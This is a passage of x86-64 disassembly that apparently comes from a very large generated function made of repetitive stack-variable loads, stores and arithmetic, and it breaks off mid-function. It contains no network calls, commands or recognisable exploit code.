mov word [rcx], ax
lea rax, [rsp + 0xc9f8]
mov qword [rsp + 0xfe30], rax
mov eax, dword [rsp + 0x6c58]
mov ecx, dword [rsp + 0x6b98]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x6d28], eax
mov rax, qword [rsp + 0xd460]
mov ecx, dword [rsp + 0x6b70]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x7028], eax
lea rax, [rsp + 0xee18]
mov qword [rsp + 0xfe38], rax
mov rax, qword [rsp + 0xf9a0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xd620]
movsx ecx, word [rcx]
sub eax, ecx
mov word [0x1402c9318], ax
mov rax, qword [rsp + 0xf858]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xef08]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x1bf], al
mov rax, qword [rsp + 0xd618]
movzx eax, byte [rax]
mov byte [rsp + 0x290], al
mov rax, qword [rsp + 0xc8a8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xc798]
movsx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0xfdc8]
mov word [rcx], ax
movzx eax, word [0x1402c7568]
mov rcx, qword [rsp + 0xe1b8]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xdbb0]
mov word [rcx], ax
mov rax, qword [rsp + 0xee60]
mov qword [rsp + 0xfe40], rax
mov rax, qword [rsp + 0xcfb0]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x6e18]
shl eax, cl
mov dword [rsp + 0x70fc], eax
mov rax, qword [rsp + 0xda38]
mov rax, qword [rax]
mov qword [rsp + 0xfe48], rax
mov eax, dword [rsp + 0x6ae4]
mov ecx, dword [rsp + 0x6e70]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xc9b8]
mov dword [rcx], eax
movzx eax, byte [rsp + 0xd3]
mov byte [0x1402c91a6], al
lea rax, [rsp + 0x1804]
mov qword [rsp + 0xfe50], rax
mov rax, qword [rsp + 0xc248]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xed08]
movzx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x21f], al
movzx eax, word [rsp + 0x1934]
movzx ecx, word [rsp + 0x1bb8]
cdq
idiv ecx
mov word [rsp + 0x1b50], ax
mov rax, qword [rsp + 0xe4d0]
movzx eax, word [rax]
mov word [rsp + 0x1dc8], ax
mov rax, qword [rsp + 0xfd60]
mov rcx, qword [rsp + 0xe138]
mov qword [rsp + 0xfe58], rcx
movzx ecx, al
mov rax, qword [rsp + 0xfe58]
mov rax, qword [rax]
sar rax, cl
mov qword [rsp + 0xc9f0], rax
mov rax, qword [rsp + 0xfa78]
mov eax, dword [rax]
mov dword [rsp + 0x7190], eax
mov rax, qword [rsp + 0xdd98]
mov rcx, qword [rsp + 0xcee0]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0xf458]
mov qword [rcx], rax
mov rax, qword [rsp + 0xe988]
mov ecx, dword [rsp + 0x6a68]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x6a80], eax
movzx eax, byte [rsp + 0xbd]
mov byte [rsp + 0x291], al
mov rax, qword [rsp + 0xe788]
movsx eax, byte [rax]
mov rcx, qword [0x1402c92c8]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [0x1402c9828]
mov byte [rcx], al
mov rax, qword [rsp + 0xe360]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1838]
sub eax, ecx
mov word [rsp + 0x16d4], ax
movzx eax, word [rsp + 0x1d3c]
mov word [rsp + 0x1dcc], ax
movzx eax, word [rsp + 0x196c]
mov rcx, qword [rsp + 0xddb0]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x18ec], ax
mov rax, qword [rsp + 0xce20]
mov rcx, qword [rsp + 0xcc10]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xf668], rax
lea rax, [rsp + 0xfb28]
mov qword [rsp + 0xfe60], rax
mov rax, qword [rsp + 0xf030]
mov ecx, dword [rsp + 0x70d4]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x7154], eax
lea rax, [rsp + 0x6cd4]
mov qword [rsp + 0xfe68], rax
movsx eax, word [rsp + 0x15a0]
mov rcx, qword [rsp + 0xf9c8]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xca20]
mov word [rcx], ax
lea rax, [rsp + 0x176]
mov qword [0x1402c9928], rax
movsx eax, word [rsp + 0x1b08]
movsx ecx, word [rsp + 0x1884]
add eax, ecx
mov word [rsp + 0x18b8], ax
mov rax, qword [rsp + 0xf858]
movzx eax, byte [rax]
mov byte [rsp + 0x292], al
movzx eax, byte [rsp + 0x12c]
mov rcx, qword [0x1402c97f8]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x13f], al
lea rax, [rsp + 0xc488]
mov qword [rsp + 0xfe70], rax
mov rax, qword [rsp + 0xf420]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xcca0]
mov qword [rsp + 0xfe78], rcx
movzx ecx, al
mov rax, qword [rsp + 0xfe78]
mov rax, qword [rax]
shl rax, cl
mov rcx, qword [rsp + 0xbd48]
mov qword [rcx], rax
lea rax, [0x1402c7498]
mov qword [rsp + 0xfe80], rax
mov rax, qword [rsp + 0xf878]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x6a44]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x6f68], eax
mov rax, qword [rsp + 0xf310]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xcd88]
movzx ecx, byte [rcx]
or eax, ecx
mov rcx, qword [rsp + 0xca90]
mov byte [rcx], al
movsx eax, byte [0x1402c91a3]
mov rcx, qword [rsp + 0xfcc8]
movsx ecx, byte [rcx]
sar eax, cl
mov rcx, qword [0x1402c94e8]
mov byte [rcx], al
lea rax, [rsp + 0x1db0]
mov qword [rsp + 0xfe88], rax
movsx eax, byte [rsp + 0xb4]
movsx ecx, byte [rsp + 0x12e]
sub eax, ecx
mov byte [rsp + 0x28d], al
lea rax, [rsp + 0x19a8]
mov qword [rsp + 0xfe90], rax
mov rax, qword [rsp + 0xf010]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x7008]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x6d54], eax
mov rax, qword [rsp + 0xe308]
mov rcx, qword [rsp + 0xcf30]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0xf020], rax
mov rax, qword [0x1402c7490]
mov qword [rsp + 0xfe98], rax
mov rax, qword [rsp + 0xfe68]
mov ecx, dword [rsp + 0x717c]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0xdc58]
mov dword [rcx], eax
mov rax, qword [rsp + 0xeea0]
movzx eax, word [rax]
mov word [rsp + 0x1dd0], ax
lea rax, [rsp + 0x1d8]
mov qword [0x1402c9930], rax
mov rax, qword [rsp + 0xc6c8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1558]
add eax, ecx
mov word [rsp + 0x1ab0], ax
mov rax, qword [rsp + 0xbf68]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xcee8]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xca98]
mov word [rcx], ax
mov rax, qword [0x1402c9488]
movzx eax, byte [rax]
mov byte [rsp + 0x293], al
mov rax, qword [rsp + 0xe930]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x192c]
sub eax, ecx
mov rcx, qword [rsp + 0xea38]
mov word [rcx], ax
lea rax, [rsp + 0x6b78]
mov qword [rsp + 0xfea0], rax
mov rax, qword [rsp + 0xe858]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xdfe8]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xda90], rax
mov rax, qword [rsp + 0xf178]
mov rax, qword [rax]
mov qword [rsp + 0xfea8], rax
mov rax, qword [rsp + 0xf570]
mov ecx, dword [rsp + 0x6ec4]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x6dfc], eax
mov rax, qword [rsp + 0xcbc0]
movsx eax, word [rax]
mov rcx, qword [0x1402c91d0]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [0x1402c93b0]
mov word [rcx], ax
mov rax, qword [rsp + 0xdcc0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x7c]
add eax, ecx
mov byte [rsp + 0x13c], al
lea rax, [rsp + 0xfd]
mov qword [rsp + 0xfeb0], rax
mov rax, qword [rsp + 0xc710]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xdb40]
movsx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x1a40], ax
movzx eax, byte [rsp + 0x9a]
mov byte [rsp + 0x294], al
mov rax, qword [rsp + 0xbdd8]
mov rcx, qword [rsp + 0xe7e0]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0xf4a0]
mov dword [rcx], eax
mov rax, qword [0x1402c90a8]
mov rcx, qword [rsp + 0xbd00]
mov rax, qword [rax]
xor rax, rcx
mov rcx, qword [rsp + 0xe888]
mov qword [rcx], rax
mov rax, qword [rsp + 0xc9b8]
mov eax, dword [rax]
mov dword [rsp + 0x7194], eax
mov rax, qword [rsp + 0xd290]
mov rcx, qword [rsp + 0xfda8]
mov qword [rsp + 0xfeb8], rcx
movzx ecx, al
mov rax, qword [rsp + 0xfeb8]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0xf670], rax
lea rax, [rsp + 0x1c1]
mov qword [0x1402c9938], rax
mov rax, qword [rsp + 0xc760]
movzx eax, word [rax]
mov word [rsp + 0x1dd4], ax
movzx eax, byte [rsp + 0x118]
movzx ecx, byte [rsp + 0x93]
and eax, ecx
mov byte [rsp + 0x201], al
mov rax, qword [rsp + 0xf250]
movzx eax, word [rax]
movzx ecx, word [0x1402c7620]
imul eax, ecx
mov rcx, qword [rsp + 0xf988]
mov word [rcx], ax
mov rax, qword [rsp + 0xbd58]
movzx eax, byte [rax]
mov byte [rsp + 0x295], al
mov rax, qword [rsp + 0xc650]
mov rcx, qword [rsp + 0xc7c8]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xf5a0], rax
mov rax, qword [rsp + 0xf868]
mov eax, dword [rax]
mov dword [rsp + 0x7198], eax
mov rax, qword [rsp + 0xcba0]
mov rcx, qword [rsp + 0xdca8]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0xd070]
mov dword [rcx], eax
mov rax, qword [rsp + 0xee30]
mov rcx, qword [rsp + 0xd930]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0xe3b8]
mov qword [rcx], rax
movsx eax, word [rsp + 0x1758]
movsx ecx, word [rsp + 0x1c80]
add eax, ecx
mov word [0x1402c7540], ax
lea rax, [rsp + 0xd0]
mov qword [rsp + 0xfec0], rax
mov rax, qword [rsp + 0xe708]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xc760]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xc5d8]
mov word [rcx], ax
movzx eax, byte [rsp + 0x8c]
mov byte [rsp + 0x296], al
movsx eax, word [rsp + 0x1b24]
mov rcx, qword [rsp + 0xe040]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1da4], ax
lea rax, [rsp + 0x6a28]
mov qword [rsp + 0xfec8], rax
mov rax, qword [rsp + 0xe6f0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x70c4]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xf968]
mov dword [rcx], eax
mov rax, qword [rsp + 0xe4b8]
mov rcx, qword [rsp + 0xbf00]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xd8a8], rax
lea rax, [rsp + 0xd698]
mov qword [rsp + 0xfed0], rax
movsx eax, word [rsp + 0x1d54]
movsx ecx, word [rsp + 0x1c4c]
or eax, ecx
mov word [0x1402c7650], ax
movzx eax, byte [rsp + 0x211]
movzx ecx, byte [rsp + 0xdb]
xor eax, ecx
mov byte [rsp + 0x140], al
movzx eax, word [rsp + 0x17ac]
mov word [rsp + 0x1dd8], ax
mov rax, qword [rsp + 0xf2c0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xb2]
sar eax, cl
mov rcx, qword [rsp + 0xd858]
mov byte [rcx], al
movsx eax, word [rsp + 0x16a8]
movsx ecx, word [rsp + 0x1ac4]
shl eax, cl
mov word [rsp + 0x1590], ax
mov rax, qword [rsp + 0xd7b8]
mov eax, dword [rax]
mov dword [rsp + 0x719c], eax
mov rax, qword [rsp + 0xc5a0]
mov rax, qword [rax]
mov rcx, qword [0x1402c7490]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0xf540], rax
lea rax, [rsp + 0x6d30]
mov qword [rsp + 0xfed8], rax
mov rax, qword [rsp + 0xc688]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xc468]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xbfa0]
mov qword [rcx], rax
mov rax, qword [rsp + 0xec58]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xefe0]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [0x1402c752b], al
movzx eax, word [rsp + 0x1d5c]
movzx ecx, word [rsp + 0x1bd8]
add eax, ecx
mov word [rsp + 0x18ec], ax
lea rax, [rsp + 0x14c]
mov qword [rsp + 0xfee0], rax
mov rax, qword [0x1402c9398]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xcb00]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1a58], ax
movzx eax, byte [rsp + reloc.SHELL32.dll_SHChangeNotification_Lock]
mov byte [rsp + 0x297], al
mov rax, qword [rsp + 0xc7f8]
mov ecx, dword [rsp + 0x6a64]
imul ecx, dword [rax]
mov eax, ecx
mov rcx, qword [rsp + 0xcb48]
mov dword [rcx], eax
mov rax, qword [rsp + 0xbc28]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xcfd0]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0xeef0], rax
mov rax, qword [rsp + 0xc068]
mov rax, qword [rax]
mov qword [rsp + 0xfee8], rax
mov eax, dword [0x1402c90a0]
mov ecx, dword [rsp + 0x6d5c]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xe758]
mov dword [rcx], eax
lea rax, [rsp + 0x1e8]
mov qword [0x1402c9940], rax
movzx eax, word [rsp + 0x1a84]
mov word [rsp + 0x1ddc], ax
movzx eax, byte [rsp + 0x186]
mov rcx, qword [rsp + 0xec40]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xee38]
mov byte [rcx], al
mov rax, qword [rsp + 0xf788]
movzx eax, word [rax]
mov word [rsp + 0x1de0], ax
movsx eax, byte [rsp + 0x90]
mov rcx, qword [rsp + 0xbea8]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xc058]
mov byte [rcx], al
mov rax, qword [rsp + 0xde08]
mov rcx, qword [rsp + 0xf428]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0xe238]
mov qword [rcx], rax
lea rax, [0x1402c90a0]
mov qword [rsp + 0xfef0], rax
mov rax, qword [rsp + 0xe7e0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x6c10]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x6a04], eax
lea rax, [rsp + 0xf948]
mov qword [rsp + 0xfef8], rax
mov rax, qword [rsp + 0xfaf8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x15e8]
sar eax, cl
mov rcx, qword [0x1402c98e8]
mov word [rcx], ax
movzx eax, word [rsp + 0x1860]
movzx ecx, word [rsp + 0x1660]
cdq
idiv ecx
mov rcx, qword [rsp + 0xe528]
mov word [rcx], ax
mov rax, qword [rsp + 0xe438]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1914]
or eax, ecx
mov word [rsp + 0x1ac0], ax
lea rax, [rsp + 0x156]
mov qword [rsp + 0xff00], rax
movzx eax, byte [rsp + 0x192]
mov rcx, qword [rsp + 0xeb98]
movzx ecx, byte [rcx]
shl eax, cl
mov rcx, qword [rsp + 0xf9b8]
mov byte [rcx], al
lea rax, [rsp + 0x6b54]
mov qword [rsp + 0xff08], rax
mov rax, qword [rsp + 0xc988]
mov rax, qword [rax]
mov rcx, qword [0x1402c7490]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0xf940], rax
mov eax, dword [rsp + 0x7064]
mov ecx, dword [rsp + 0x6cd0]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x6d4c], eax
mov rax, qword [rsp + 0xbc28]
mov rax, qword [rax]
mov qword [rsp + 0xff10], rax
movzx eax, word [rsp + 0x1788]
movzx ecx, word [rsp + 0x164c]
add eax, ecx
mov rcx, qword [rsp + 0xdb68]
mov word [rcx], ax
mov rax, qword [rsp + 0xf3b0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xfb88]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [0x1402c757a], al
movzx eax, word [rsp + 0x1cc0]
mov word [rsp + 0x1de4], ax
mov rax, qword [rsp + 0xf6b0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xbc]
sub eax, ecx
mov rcx, qword [rsp + 0xfd30]
mov byte [rcx], al
lea rax, [rsp + 0x1c5c]
mov qword [rsp + 0xff18], rax
mov rax, qword [rsp + 0xce38]
mov rcx, qword [rsp + 0xf398]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0xcf08]
mov dword [rcx], eax
mov rax, qword [rsp + 0xcc70]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xf3f8]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xc6e8]
mov qword [rcx], rax
lea rax, [rsp + 0x6fd8]
mov qword [rsp + 0xff20], rax
mov rax, qword [rsp + 0xd968]
mov rcx, qword [rsp + 0xf248]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xc258]
mov qword [rcx], rax
movzx eax, word [rsp + 0x17cc]
mov word [rsp + 0x1de8], ax
movzx eax, byte [rsp + 0x249]
mov byte [0x1402c91a7], al
movsx eax, word [rsp + 0x1778]
movsx ecx, word [rsp + 0x15e8]
add eax, ecx
mov word [rsp + 0x1908], ax
mov rax, qword [0x1402c93a0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1cac]
sub eax, ecx
mov word [rsp + 0x1b74], ax
mov rax, qword [rsp + 0xe3c8]
movzx eax, byte [rax]
mov byte [rsp + 0x298], al
mov rax, qword [rsp + 0xf880]
mov eax, dword [rax]
mov rcx, qword [rsp + 0xdcf8]
mov qword [rsp + 0xff28], rcx
movzx ecx, al
mov rax, qword [rsp + 0xff28]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0x6e7c], eax
mov eax, dword [0x1402c90a0]
mov dword [rsp + 0x71a0], eax
mov rax, qword [rsp + 0xf378]
mov rcx, qword [rsp + 0xf0f0]
xor rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xdf00]
mov qword [rcx], rax
mov rax, qword [0x1402c7490]
mov rcx, qword [rsp + 0xfa90]
mov qword [rsp + 0xff30], rcx
movzx ecx, al
mov rax, qword [rsp + 0xff30]
mov rax, qword [rax]
shl rax, cl
mov rcx, qword [rsp + 0xca80]
mov qword [rcx], rax
lea rax, [rsp + 0x298]
mov qword [rsp + 0xff38], rax
movsx eax, word [rsp + 0x17a8]
movsx ecx, word [rsp + 0x1c50]
or eax, ecx
mov word [0x1402c762c], ax
mov rax, qword [rsp + 0xe878]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xbf30]
movzx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0xdbb0]
mov word [rcx], ax
lea rax, [rsp + 0xe3]
mov qword [rsp + 0xff40], rax
movzx eax, byte [rsp + 0x199]
mov rcx, qword [rsp + 0xca08]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xc000]
mov byte [rcx], al
mov rax, qword [rsp + 0xc988]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xdd28]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xbee8], rax
mov rax, qword [rsp + 0xcca0]
mov rax, qword [rax]
mov qword [rsp + 0xff48], rax
mov eax, dword [rsp + 0x6e58]
mov ecx, dword [rsp + 0x6e78]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x7180], eax
mov rax, qword [rsp + 0xd368]
mov eax, dword [rax]
mov dword [rsp + 0x71a4], eax
mov rax, qword [rsp + 0xe510]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xfaf8]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1aa8], ax
mov rax, qword [rsp + 0xff40]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xcf88]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [0x1402c757b], al
movzx eax, word [rsp + 0x16d8]
mov word [rsp + 0x1dec], ax
movsx eax, byte [rsp + 0x27f]
movsx ecx, byte [rsp + 0xc9]
add eax, ecx
mov byte [rsp + 0x1e6], al
movzx eax, byte [rsp + 0x143]
movzx ecx, byte [rsp + 0xc1]
and eax, ecx
mov byte [rsp + 0x20d], al
lea rax, [rsp + 0x28e]
mov qword [rsp + 0xff50], rax
mov rax, qword [rsp + 0xe4e0]
mov rcx, qword [rsp + 0xe678]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0xe308]
mov qword [rcx], rax
lea rax, [rsp + 0x6b18]
mov qword [rsp + 0xff58], rax
mov rax, qword [rsp + 0xcfb0]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x6d24]
sar eax, cl
mov rcx, qword [rsp + 0xc588]
mov dword [rcx], eax
mov rax, qword [rsp + 0xcea0]
mov rcx, qword [rsp + 0xdd98]
mov qword [rsp + 0xff60], rcx
movzx ecx, al
mov rax, qword [rsp + 0xff60]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0xd780], rax
mov rax, qword [rsp + 0xf1a0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1be0]
xor eax, ecx
mov word [0x1402c967c], ax
lea rax, [rsp + 0x196c]
mov qword [rsp + 0xff68], rax
mov rax, qword [rsp + 0xf6e0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x1f5]
or eax, ecx
mov rcx, qword [rsp + 0xc458]
mov byte [rcx], al
lea rax, [rsp + 0x1710]
mov qword [rsp + 0xff70], rax
mov rax, qword [rsp + 0xc940]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xc4e0]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1980], ax
mov rax, qword [rsp + 0xf570]
mov ecx, dword [rsp + 0x6a64]
imul ecx, dword [rax]
mov eax, ecx
mov dword [rsp + 0x6b00], eax
lea rax, [rsp + 0x7050]
mov qword [rsp + 0xff78], rax
mov rax, qword [0x1402c90a8]
mov rcx, qword [rsp + 0xc750]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0xe4a0], rax
mov rax, qword [rsp + 0xff10]
mov qword [rsp + 0xff80], rax
movsx eax, byte [rsp + 0x76]
mov rcx, qword [rsp + 0xd540]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [0x1402c757e], al
movzx eax, byte [rsp + 0x69]
mov rcx, qword [rsp + 0xc050]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0xeb], al
lea rax, [rsp + 0x281]
mov qword [rsp + 0xff88], rax
movzx eax, byte [rsp + 0x74]
movzx ecx, byte [rsp + 0x282]
add eax, ecx
mov byte [rsp + 0x262], al
mov rax, qword [rsp + 0xbef0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1790]
sub eax, ecx
mov rcx, qword [rsp + 0xdf70]
mov word [rcx], ax
mov rax, qword [rsp + 0xf068]
mov eax, dword [rax]
mov dword [rsp + 0x71a8], eax
mov rax, qword [rsp + 0xe820]
mov rcx, qword [rsp + 0xe320]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xf630]
mov qword [rcx], rax
mov rax, qword [rsp + 0xd468]
mov rax, qword [rax]
mov qword [rsp + 0xff90], rax
mov rax, qword [rsp + 0xe288]
mov rcx, qword [rsp + 0xdaf0]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0xc850]
mov dword [rcx], eax
movsx eax, byte [rsp + 0x107]
mov rcx, qword [rsp + 0xdc78]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [0x1402c90c2], al
movsx eax, word [rsp + 0x19ac]
mov rcx, qword [rsp + 0xc288]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x17d0], ax
movzx eax, word [rsp + 0x1880]
mov word [rsp + 0x1df0], ax
movzx eax, word [rsp + 0x1858]
mov rcx, qword [0x1402c9170]
movzx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x1704], ax
movzx eax, byte [rsp + 0x1a4]
mov byte [rsp + 0x299], al
mov rax, qword [rsp + 0xfa90]
mov rcx, qword [rsp + 0xc608]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0xcff8], rax
mov rax, qword [rsp + 0xfc18]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xe848]
mov qword [rsp + 0xff98], rcx
movzx ecx, al
mov rax, qword [rsp + 0xff98]
mov rax, qword [rax]
sar rax, cl
mov rcx, qword [rsp + 0xe870]
mov qword [rcx], rax
mov eax, dword [rsp + 0x6e50]
mov dword [rsp + 0x71ac], eax
mov rax, qword [rsp + 0xfbd0]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x6f94]
shl eax, cl
mov dword [rsp + 0x6e24], eax
lea rax, [rsp + 0x18b]
mov qword [0x1402c9948], rax
lea rax, [rsp + 0x1988]
mov qword [rsp + 0xffa0], rax
mov rax, qword [rsp + 0xed08]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x1f1]
add eax, ecx
mov rcx, qword [rsp + 0xd440]
mov byte [rcx], al
movzx eax, word [rsp + 0x19d4]
movzx ecx, word [rsp + 0x1cac]
add eax, ecx
mov word [rsp + 0x1648], ax
movzx eax, byte [rsp + 0x1f6]
mov byte [rsp + 0x29a], al
mov rax, qword [rsp + 0xf750]
mov rcx, qword [rsp + 0xd2e8]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0xe638], rax
lea rax, [rsp + 0xf298]
mov qword [rsp + 0xffa8], rax
mov rax, qword [rsp + 0xe4f8]
mov ecx, dword [rsp + 0x6aa8]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0xe4f8]
mov dword [rcx], eax
lea rax, [rsp + 0x6ef4]
mov qword [rsp + 0xffb0], rax
movsx eax, word [rsp + 0x16a4]
movsx ecx, word [rsp + 0x1724]
add eax, ecx
mov word [0x1402c74d8], ax
movzx eax, word [rsp + 0x1618]
movzx ecx, word [rsp + 0x196c]
add eax, ecx
mov word [rsp + 0x1738], ax
movzx eax, byte [rsp + 0xd5]
mov rcx, qword [rsp + 0xc0f8]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xf0c0]
mov byte [rcx], al
mov rax, qword [rsp + 0xc478]
movzx eax, word [rax]
mov word [rsp + 0x1df4], ax
mov rax, qword [0x1402c9458]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x1cf]
add eax, ecx
mov rcx, qword [rsp + 0xbd28]
mov byte [rcx], al
mov rax, qword [rsp + 0xde38]
mov qword [rsp + 0xffb8], rax
mov rax, qword [rsp + 0xe9d8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x6f84]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x6f4c], eax
mov rax, qword [rsp + 0xe4e8]
mov rcx, qword [rsp + 0xe5e8]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x7050], eax
mov rax, qword [rsp + 0xf5e8]
mov rax, qword [rax]
mov qword [rsp + 0xffc0], rax
movsx eax, word [rsp + 0x1b30]
movsx ecx, word [0x1402c75c8]
sub eax, ecx
mov word [0x1402c74e8], ax
mov rax, qword [rsp + 0xfaf8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xd418]
movsx ecx, word [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0xe750]
mov word [rcx], ax
lea rax, [rsp + 0x1c18]
mov qword [rsp + 0xffc8], rax
movsx eax, byte [rsp + 0x21a]
movsx ecx, byte [0x1402c74a6]
sar eax, cl
mov rcx, qword [rsp + 0xdb38]
mov byte [rcx], al
movzx eax, byte [rsp + 0x190]
mov rcx, qword [rsp + 0xc3b8]
movzx ecx, byte [rcx]
or eax, ecx
mov rcx, qword [rsp + 0xfb20]
mov byte [rcx], al
lea rax, [rsp + 0xcc10]
mov qword [rsp + 0xffd0], rax
mov eax, dword [0x1402c90a0]
movzx ecx, al
mov eax, dword [rsp + 0x70ac]
shl eax, cl
mov dword [rsp + 0x6f9c], eax
mov rax, qword [rsp + 0xee60]
mov qword [rsp + 0xffd8], rax
mov eax, dword [rsp + 0x6e6c]
mov ecx, dword [rsp + 0x6ba8]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x69fc], eax
movzx eax, byte [0x1402c755a]
mov byte [0x1402c91da], al
movsx eax, byte [rsp + 0x10c]
mov rcx, qword [rsp + 0xc058]
